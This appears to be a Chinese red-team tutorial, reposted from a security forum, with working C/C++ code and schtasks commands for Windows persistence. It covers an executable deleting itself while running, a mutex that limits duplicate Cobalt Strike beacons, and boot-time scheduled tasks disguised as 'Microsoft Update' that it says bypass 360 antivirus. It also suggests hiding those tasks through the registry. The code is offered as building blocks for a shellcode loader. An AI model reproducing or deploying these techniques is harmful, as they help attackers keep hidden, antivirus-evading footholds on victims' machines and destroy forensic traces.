0x0 前言
本文主要以简单、直接的代码方式向读者呈现了一些权限维持的功能代码方面的小技巧。这些小技巧也许很多人(Ex:myself)不知道,但又有可能对此实现有所需要。为了解决这个问题,笔者通过浏览一些资料结合自己的实践,初步整理出这三个功能小技巧,后续可用于穿插于Window权限维持的具体实现程序。
0x1 文件自删除
自删除有两个境界:
1.运行完删除自身文件。
2.运行时删除自身文件(*),继续运行。
0x1.1 运行end
原理:
可执行文件进程新开一个cmd 进程执行del 删除可执行文件自身路径,这个执行成功的前提是,当执行command删除命令时,可执行文件进程要先结束,一般来说,可以通过挂起该cmd进程子线程,然后在可执行文件技术部分的最后加入唤醒操作,然后可执行文件进程迅速结束,因为唤醒+执行是慢于进程结束的时间的,一般都可以成功。
缺点:
1.编写复杂,行为可疑
2.通用性差,也不稳定
3.对红队来说,没啥意义,beacon本身就是loop状态的。
代码实现:
#include <Windows.h> #include <stdio.h> int main() { // 1.Get current path wchar_t exePath[MAX_PATH] = { 0 }; GetModuleFileName(NULL, exePath, MAX_PATH); // 2.Craft command wchar_t command[128] = { 0 }; wsprintf(command, L"cmd /k del %s", exePath); printf("\nExecute Command:%ls\n", command); // 3.Suspend main thread of cmd process STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; BOOL flag = CreateProcess( NULL, command, NULL, NULL, FALSE, CREATE_NO_WINDOW | CREATE_SUSPENDED,// key paramter NULL, NULL, &si, &pi); if (!flag) { printf("CreateProcess Error:%d\n", GetLastError()); exit(0); } // 4.Optimize the execute moment SetPriorityClass(pi.hProcess, IDLE_PRIORITY_CLASS); SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); SetPriorityClass(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); // 5.Wake up thread if (!ResumeThread(pi.hThread)) { printf("ResumeThread %d\n", GetLastError()); } printf("%s\d", "Running Done! check condition by yourself!"); //getchar(); }
效果:
执行完毕,程序自动删除。
0x1.2 运行ing
下载文件测试工具filetest
FileTest application
根据@jonasLyk 的思路
1.With delete权限打开运行中的文件,然后修改FileRenameInformation
的重命名属性值为ADS流名称,这个方式能重命名执行中的文件。
2.重新打开文件,设置FileDispositionInfo
文件属性delete
为true
,这样关闭文件句柄的时候就会自动删除该文件。
3.因为文件名称被修改,所以第二步能绕过锁定成功执行删除掉宿主文件,ADS流文件也会随之消失。
具体过程如图:https://pbs.twimg.com/media/Er2W8NFXIAAWZ5a?format=png&name=4096x4096
代码参考:https://github.com/LloydLabs/delete-self-poc
简化了一些细节,封装为一个函数便以移植,代码实现:
#pragma comment(lib, "Shlwapi.lib") #include <windows.h> #include <Shlwapi.h> #include <stdio.h> void autoDelete() { WCHAR wcPath[MAX_PATH]; RtlSecureZeroMemory(wcPath, sizeof(wcPath)); if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0) { return; }; HANDLE hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hCurrent == INVALID_HANDLE_VALUE) { return; } // rename handle FILE_RENAME_INFO fRename; RtlSecureZeroMemory(&fRename, sizeof(fRename)); LPWSTR lpwStream = (wchar_t*)L":wtforz"; fRename.FileNameLength = sizeof(lpwStream); RtlCopyMemory(fRename.FileName, lpwStream, sizeof(lpwStream)); BOOL flag = SetFileInformationByHandle(hCurrent, FileRenameInfo, &fRename, sizeof(fRename) + sizeof(lpwStream)); if (!flag) { return; } CloseHandle(hCurrent); hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hCurrent == INVALID_HANDLE_VALUE) { return; } // set FileDispositionInfo.delete attribute True FILE_DISPOSITION_INFO fDelete; RtlSecureZeroMemory(&fDelete, sizeof(fDelete)); fDelete.DeleteFile = TRUE; BOOL _flag = SetFileInformationByHandle(hCurrent, FileDispositionInfo, &fDelete, sizeof(fDelete)); if (!_flag) { return; } // delete file CloseHandle(hCurrent); if (!PathFileExists(wcPath)) { #ifdef _DEBUG printf("[LOG] - %ls\n", L"Success, Done!"); #endif // DEBUG return; } } int wmain(int argc, wchar_t * argv) { autoDelete(); getchar(); }
编译的时候选择Debug模式,效果如下:
后面的getchar()
一样会继续执行。
这种思路可以说很新颖,而且很有用,但是具体的原理,笔者也还尚未清楚,只是说这样测试能够达到预期效果,作为一个Script Kid已经满足了。师傅们可以去尝试分析下window的锁定机制,然后找找其他方式来达到这种效果,或者分析下这种方式的缺点。
补充下这一点相关思路:
C#版本的实现:https://github.com/klezVirus/SharpSelfDelete
GO的话建议封装成一个库,直接调用,ex:
winexe.delete()
0x2.1 作用
创建互斥体的常见作用就是用于防止程序多开,很多程序都会有这个特点。
回到我们权限维持上面,加载器如果没做互斥体的话,那么单一进程可能会被循环启动,导致上线很多重复的Beacon,比如计划任务执行间隔短、用户多次点击,都会导致出现多个Beacon进程,这样会增加加载器的暴露概率。
0x2.2 API函数
使用互斥体,Window提供了两个API函数:
CreateMutexA
Creates or opens a named or unnamed mutex object.
To specify an access mask for the object, use the CreateMutexEx function.
HANDLE CreateMutexA( [in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes, [in] BOOL bInitialOwner, [in, optional] LPCSTR lpName );
用于创建或者打开一个命名/未命名的mutex对象,一般用法
CreateMutex(NULL, False, "互斥体名称")
第一个参数lpMutexAttributes
为 NULL,则互斥对象将获得一个默认的安全描述符。互斥对象的默认安全描述符中的 acl 来自创建者的主令牌或模拟令牌。
第二个参数bInitialOwner
如果此值为 TRUE,且调用方创建了互斥对象,则调用线程获得互斥对象的初始所有权。否则,调用线程不会获得互斥对象的所有权。若要确定调用方是否创建了互斥对象,请参见 Return Values 部分。
第三个参数lpName
,互斥对象的名称,名称比较区分大小写,名称可以有“ Global”或“ Local”前缀,以在全局或会话命名空间中显式创建对象。名称的其余部分可以包含除反斜杠字符()以外的任何字符。如果 lpName 匹配现有事件、信号量、可移植计时器、作业或文件映射对象的名称,则函数失败,GetLastError 函数返回 ERROR invalid handle。这是因为这些对象共享相同的命名空间。
Return Value
如果函数成功,返回值是新创建的互斥对象的句柄。
如果函数失败,返回值为 NULL。要获得扩展的错误信息,调用 GetLastError。
OpenMutexW
Opens an existing named mutex object.
HANDLE OpenMutexW( [in] DWORD dwDesiredAccess, [in] BOOL bInheritHandle, [in] LPCWSTR lpName );
用于打开一个已经存在已命名的互斥体对象,一般用法:
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "互斥体名称");
第一个参数dwDesiredAccess
进程访问权限
第二个参数bInheritHandle
如果此值为 TRUE,则此进程创建的进程将继承此句柄。否则,进程不会继承此句柄。
第三个参数lpName
互斥对象的名称。名称比较区分大小写
Return Value
如果函数成功,返回值是互斥对象的句柄。
如果函数失败,返回值为 NULL。要获得扩展的错误信息,调用 GetLastError。
如果命名的互斥体不存在,则函数失败,GetLastError 返回 ERROR file not _ found。
0x2.3 代码实现
封装为一个checkMutex
的函数,当然这里互斥体的名称可以考虑作为参数来传递,名称可以考虑复杂和长点。
#include <Windows.h> #include <stdio.h> // check mutex object status bool checkMutex() { HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex"); if (hMutex == NULL) { CreateMutex(NULL, FALSE, "MyTestMutex"); } else { #ifdef _DEBUG MessageBox(NULL, "Program is already running", 0, 0); #endif // DEBUG exit(0); } return TRUE; } int wmain(int argc, wchar_t* argv) { checkMutex(); printf("Program is running ......\n"); system("pause"); return 0; }
打开两个程序,观察效果:
优化思路:
有时候我们觉得一个进程太少,为了解决这个情况,会考虑允许启动两个进程。
bool checkMutex() { HANDLE hMutex1 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex1"); if (hMutex1 == NULL) { CreateMutex(NULL, FALSE, "MyTestMutex1"); return TRUE; } HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex2"); if (hMutex2 == NULL) { CreateMutex(NULL, FALSE, "MyTestMutex2"); return TRUE; } else { #ifdef _DEBUG MessageBox(NULL, "Program is already running", 0, 0); #endif // DEBUG exit(0); } }
进一步可以优化控制成动态获取进程同时执行的数目,比如设置成读取某个目录下的文件内容、环境变量的值,访问某个高信誉的网站提取留言内容等等多种手段。
0x3 重启上线
重启上线有很多种思路,比如放入启动目录、注册服务、劫持DLL等等...
但是重启上线ByPass 360 可能存在一些小困难(实际上非常简单,浅显的方法试试就知道),这里以大家都熟知的计划任务来达到Bypass 360的目的。
WIndow计划任务的功能用于定时执行执行一些任务,打开控制面板\系统和安全\管理工具
,找到任务计划程序
重启上线的话可以选择触发器: 计算机启动时(H)
在GUI界面上操作,360是不拦截的,可以正常添加计划任务Hello
,不过我测试的时候发现,这个因为卡在开启启动边界,可执行文件不会运行成功,需要增加延时时间再执行。
0x3.1 常规用法
比较常规的用法就是利用schtasks.exe
查看用法Help
schtasks /Create /?
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
一般用法形式:
schtasks /create /tn PentestLab /tr "cmd /c whoami" /sc onstart /ru System
/RU
指定运行权限
/TN
指定任务名称,一般用名称
/TR
运行程序路径
/sc
指定计划任务频率,主要5个情况可用,ONSTART
ONIDLE
ONLOGON
DAILY
MINUTE
/delay
延迟任务执行时间
常用命令:
# 计算机启动后,延迟1分钟执行,这个时间实际上可以放长点。
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onstart /ru System /delay 0001:00
# 闲置30分钟后执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onidle /i 30 /ru System
# 任意用户登录后执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onlogon /ru System
# 每天晚上3点执行
chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc daily /st 03:00
# 每隔20分钟执行一次
chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc minute /mo 20
上面这些命令,在Cobalt Strike命令行下执行,360会直接Ban掉的,一般很少使用,主要是了解下功能用于后面的底层调用代码实现。
0x3.2 代码实现
代码参考:https://docs.microsoft.com/en-us/windows/win32/taskschd/boot-trigger-example--c---
笔者主要做了一些改动和参数定义,关于优化和CS插件的具体实现还是希望各位去锻炼下动手能力。
/******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/ #define _WIN32_DCOM #include <windows.h> #include <iostream> #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib") using namespace std; int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); // Set general COM security levels. hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); // ------------------------------------------------------ // Create a name for the task. LPCWSTR wszTaskName = L"Window Microsoft Update"; // Get the Windows directory and set the path to Notepad.exe. wstring wstrExecutablePath = L"cmd /c whoami"; // Create an instance of the Task Service. ITaskService* pService = NULL; hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); // Connect to the task service. hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); // Get the pointer to the root task folder. // This folder will hold the new task that is registered. ITaskFolder* pRootFolder = NULL; hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); // If the same task exists, remove it. pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0); // Create the task builder object to create the task. ITaskDefinition* pTask = NULL; hr = pService->NewTask(0, &pTask); pService->Release(); // COM clean up. Pointer is no longer used. // ------------------------------------------------------ // Get the registration info for setting the identification. IRegistrationInfo* pRegInfo = NULL; hr = pTask->get_RegistrationInfo(&pRegInfo); hr = pRegInfo->put_Author(_bstr_t(L"xq17")); pRegInfo->Release(); // Create the settings for the task ITaskSettings* pSettings = NULL; hr = pTask->get_Settings(&pSettings); if (FAILED(hr)) { printf("\nCannot get settings pointer: %x", hr); pRootFolder->Release(); pTask->Release(); CoUninitialize(); return 1; } // Set setting values for the task. hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE); pSettings->Release(); // ------------------------------------------------------ // Get the trigger collection to insert the boot trigger. ITriggerCollection* pTriggerCollection = NULL; hr = pTask->get_Triggers(&pTriggerCollection); // Add the boot trigger to the task. ITrigger* pTrigger = NULL; hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger); pTriggerCollection->Release(); IBootTrigger* pBootTrigger = NULL; hr = pTrigger->QueryInterface( IID_IBootTrigger, (void**)&pBootTrigger); pTrigger->Release(); hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1")); // Delay the task to start 30 seconds after system start. * hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S")); pBootTrigger->Release(); // ------------------------------------------------------ // Add an Action to the task. This task will execute Notepad.exe. IActionCollection* pActionCollection = NULL; // Get the task action collection pointer. hr = pTask->get_Actions(&pActionCollection); // Create the action, specifying it as an executable action. IAction* pAction = NULL; hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); pActionCollection->Release(); IExecAction* pExecAction = NULL; // QI for the executable task pointer. hr = pAction->QueryInterface( IID_IExecAction, (void**)&pExecAction); pAction->Release(); // Set the path of the executable hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str())); pExecAction->Release(); // ------------------------------------------------------ // Save the task in the root folder. IRegisteredTask* pRegisteredTask = NULL; VARIANT varPassword; varPassword.vt = VT_EMPTY; hr = pRootFolder->RegisterTaskDefinition( _bstr_t(wszTaskName), pTask, TASK_CREATE_OR_UPDATE, _variant_t(L"Local Service"), varPassword, TASK_LOGON_SERVICE_ACCOUNT, _variant_t(L""), &pRegisteredTask); printf("\n Success! Task successfully registered. "); // Clean up. pRootFolder->Release(); pTask->Release(); pRegisteredTask->Release(); CoUninitialize(); return 0; }
使用效果:
如果直接执行命令会被360拦截。
编译的release版本360无提示秒过。
查看计划任务列表,可以看到成功Bypass 360添加。
关于这个重启上线的思路有非常多,但是还是希望大家根据网上的想法去动手尝试,成功后不建议直接传播现成利用,emmm,意义不大。至于计划任务除了进一步优化代码的可用性之外,还可以考虑进一步实现计划任务的隐藏,比如删除注册表的index值来隐藏,win7以上的系统则可以进一步删除sid来实现完全隐藏,这些在Github上也有代码实现,但是这部分还是不够简单易用,普适性也可能在一些系统出现问题,还有就是不够全面,emmm,自己动手丰衣足食。
0x4 总结
本文内容较为简单直接,主要是围绕三个常用的小技巧来展开介绍,这三个小技巧在本文尚未chain起来,读者可以结合实际的攻防场景,将其融合定制出个性鲜明的ShellCodeLoader,于此同时,读者也可以尝试根据这三个小技巧进行更为深入的学习和利用拓展,这也是笔者后续的一个方向,但是还是希望集思广益,共同进步。
文章来源于先知社区,原作者xq17,若有侵权请联系删除